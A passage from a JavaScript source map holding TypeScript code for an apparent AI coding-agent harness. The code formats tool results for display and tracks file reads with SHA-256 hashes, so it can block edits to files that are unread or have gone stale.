{\r\n version: 2,\r\n toolCallId: result.toolCallId,\r\n status,\r\n content,\r\n data: result.data,\r\n structuredError: error,\r\n presentation: result.presentation,\r\n artifacts,\r\n metrics,\r\n pagination: result.pagination,\r\n };\r\n}\r\n\r\nfunction nonEmptyLines(content: string): number {\r\n return content.split('\\n').filter((line) => line.trim()).length;\r\n}\r\n\r\n/** Attach stable UI data while execution still has the tool name and arguments. */\r\nexport function enrichToolResultPresentation(\r\n input: ToolResult,\r\n toolName: string,\r\n args: Record<string, unknown>,\r\n): ToolResult {\r\n const result = normalizeToolResult(input);\r\n const name = canonicalToolName(toolName);\r\n const content = result.content;\r\n const explicitPresentation = result.presentation;\r\n const target = explicitPresentation?.target ?? (getPrimaryArg(args) || undefined);\r\n const metadata: string[] = explicitPresentation?.metadata\r\n ? [...explicitPresentation.metadata]\r\n : [];\r\n const inferKind = explicitPresentation?.kind === undefined;\r\n const inferSummary = explicitPresentation?.summary === undefined;\r\n const inferMetadata = explicitPresentation?.metadata === undefined;\r\n let kind: ToolResultPresentation['kind'] = explicitPresentation?.kind ?? 'text';\r\n let summary = explicitPresentation?.summary ?? content.split('\\n')[0]?.trim() ?? '';\r\n\r\n if (isFileMutatingTool(name)) {\r\n if (inferKind) {\r\n kind = result.artifacts?.fileMutation ? 'file' : /^@@/m.test(content) ? 'diff' : 'file';\r\n }\r\n const mutation = result.artifacts?.fileMutation ?? result.artifacts?.fileMutations?.[0];\r\n if (mutation) {\r\n if (inferMetadata) {\r\n if (mutation.addedLines) metadata.push(`+${mutation.addedLines}`);\r\n if (mutation.removedLines) metadata.push(`-${mutation.removedLines}`);\r\n if (!mutation.addedLines && !mutation.removedLines) metadata.push('no changes');\r\n }\r\n if (inferSummary) {\r\n summary = `${mutation.kind === 'create' ? 'Created' : mutation.kind === 'delete' ? 'Deleted' : 'Updated'} ${mutation.filePath}`;\r\n }\r\n }\r\n } else if (name === 'Read') {\r\n if (inferKind) kind = 'file';\r\n const lines = content ? content.split('\\n').length : 0;\r\n if (inferMetadata) metadata.push(lines === 1 ? '1 line' : `${lines} lines`);\r\n if (inferSummary) summary = target ? `Read ${target}` : summary;\r\n } else if (name === 'Glob') {\r\n if (inferKind) kind = 'search';\r\n const count = /^(?:No files found|No matches found)$/i.test(content.trim())\r\n ? 0\r\n : nonEmptyLines(content.replace(/\\n\\.\\.\\. \\(truncated[\\s\\S]*$/, ''));\r\n if (inferMetadata) metadata.push(`${count} ${count === 1 ? 'file' : 'files'}`);\r\n if (inferSummary) summary = `Found ${count} ${count === 1 ? 'file' : 'files'}`;\r\n } else if (name === 'Grep') {\r\n if (inferKind) kind = 'search';\r\n const count = /^No matches found$/i.test(content.trim())\r\n ? 0\r\n : content.split('\\n').filter((line) => /:\\d+:/.test(line)).length || nonEmptyLines(content);\r\n if (inferMetadata) metadata.push(`${count} ${count === 1 ? 'match' : 'matches'}`);\r\n if (inferSummary) summary = `Found ${count} ${count === 1 ? 'match' : 'matches'}`;\r\n } else if (name === 'Bash' || name === 'BashOutput' || name === 'KillShell') {\r\n if (inferKind) kind = 'command';\r\n if (inferSummary) summary = target ? `${name}: ${target}` : summary;\r\n } else if (name === 'GitDiff') {\r\n if (inferKind) kind = 'diff';\r\n } else if (name.startsWith('Web') || name === 'ToolSearch' || name.startsWith('SessionHistory')) {\r\n if (inferKind) kind = name === 'ToolSearch' ? 'search' : 'markdown';\r\n } else if (name.startsWith('Task') || name === 'TodoWrite') {\r\n if (inferKind) kind = 'task';\r\n } else if (name.startsWith('Agent') || name.startsWith('Evidence')) {\r\n if (inferKind) kind = 'agent';\r\n }\r\n\r\n return {\r\n ...result,\r\n presentation: {\r\n kind,\r\n summary,\r\n details: explicitPresentation?.details ?? content,\r\n metadata,\r\n target: explicitPresentation?.target ?? result.artifacts?.fileMutation?.filePath ?? target,\r\n },\r\n };\r\n}\r\n","export const FILE_MUTATING_TOOLS = new Set([\r\n 'ApplyPatch',\r\n 'Write',\r\n 'Edit',\r\n 'MultiEdit',\r\n 'NotebookEdit',\r\n]);\r\n\r\nexport function isFileMutatingTool(canonicalName: string): boolean {\r\n return FILE_MUTATING_TOOLS.has(canonicalName);\r\n}\r\n","import { createHash } from 'crypto';\r\nimport { readFile, stat } from 'fs/promises';\r\nimport { normalize, relative, resolve } from 'path';\r\nimport type {\r\n FileObservation,\r\n FileObservationOperation,\r\n ToolContext,\r\n ToolResult,\r\n} from '../types/tools.js';\r\nimport { toolFailure } from './result.js';\r\n\r\nexport function workspaceIdentity(workspaceRoot: string): string {\r\n const root = normalize(resolve(workspaceRoot));\r\n const stable = process.platform === 'win32' ? root.toLowerCase() : root;\r\n return createHash('sha256').update(stable).digest('hex').slice(0, 24);\r\n}\r\n\r\nexport function observationKey(workspaceId: string, path: string): string {\r\n const normalized = path.replace(/\\\\/g, '/');\r\n // Case-insensitive filesystems (Windows) must key differently-cased spellings\r\n // of the same file identically, mirroring workspaceIdentity's root folding.\r\n return `${workspaceId}:${process.platform === 'win32' ? normalized.toLowerCase() : normalized}`;\r\n}\r\n\r\nexport async function observeFile(\r\n ctx: ToolContext,\r\n absolutePath: string,\r\n operation: FileObservationOperation,\r\n coverage?: { lineStart?: number; lineEnd?: number },\r\n): Promise<FileObservation> {\r\n const bytes = await readFile(absolutePath);\r\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\r\n const path = relative(resolve(ctx.workspaceRoot), absolutePath).replace(/\\\\/g, '/');\r\n const observation: FileObservation = {\r\n path,\r\n workspaceId,\r\n sha256: createHash('sha256').update(bytes).digest('hex'),\r\n byteSize: bytes.byteLength,\r\n lineStart: coverage?.lineStart,\r\n lineEnd: coverage?.lineEnd,\r\n operation,\r\n sourceRef: ctx.currentToolTraceId ?? 'runtime-tool',\r\n timestamp: Date.now(),\r\n };\r\n ctx.fileObservationLedger?.set(observationKey(workspaceId, path), observation);\r\n return observation;\r\n}\r\n\r\nexport async function requireFreshObservation(\r\n ctx: ToolContext,\r\n absolutePath: string,\r\n relativePath: string,\r\n): Promise<string | undefined> {\r\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\r\n const normalizedPath = relativePath.replace(/\\\\/g, '/');\r\n const remembered = ctx.fileObservationLedger?.get(observationKey(workspaceId, normalizedPath));\r\n if (!remembered) return undefined;\r\n try {\r\n const info = await stat(absolutePath);\r\n if (!info.isFile()) return staleMessage(normalizedPath);\r\n const bytes = await readFile(absolutePath);\r\n const currentHash = createHash('sha256').update(bytes).digest('hex');\r\n return currentHash === remembered.sha256 ? undefined : staleMessage(normalizedPath);\r\n } catch {\r\n return staleMessage(normalizedPath);\r\n }\r\n}\r\n\r\nfunction staleMessage(path: string): string {\r\n return `SKIPPED: ${path} changed or disappeared since it was last shown to the model. Call Read (or mention the file again) before modifying it.`;\r\n}\r\n\r\n/**\r\n * Require that the file was observed this session (Read, mention, or a prior\r\n * mutation) before it may be mutated. Contexts without an observation ledger\r\n * (bare harnesses, low-level embedding) are exempt. Returns a ready ToolResult\r\n * failure so every mutating tool reports the same code and remediation.\r\n */\r\nexport function requireObservationForMutation(\r\n ctx: ToolContext,\r\n relativePath: string,\r\n retryVerb: string,\r\n): ToolResult | undefined {\r\n const ledger = ctx.fileObservationLedger;\r\n if (!ledger) return undefined;\r\n const workspaceId = workspaceIdentity(ctx.workspaceRoot);\r\n const normalizedPath = relativePath.replace(/\\\\/g, '/');\r\n if (ledger.has(observationKey(workspaceId, normalizedPath))) return undefined;\r\n return toolFailure(\r\n `SKIPPED: ${normalizedPath} has not been read in this session. Call Read (or mention the file) before modifying it.`,\r\n {\r\n code: 'file_not_observed',\r\n remediation: `Read the file first, then retry the ${retryVerb}.`,\r\n },\r\n );\r\n}\r\n"],"mappings":"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","names":[]}
@@ -1 +0,0 @@
1
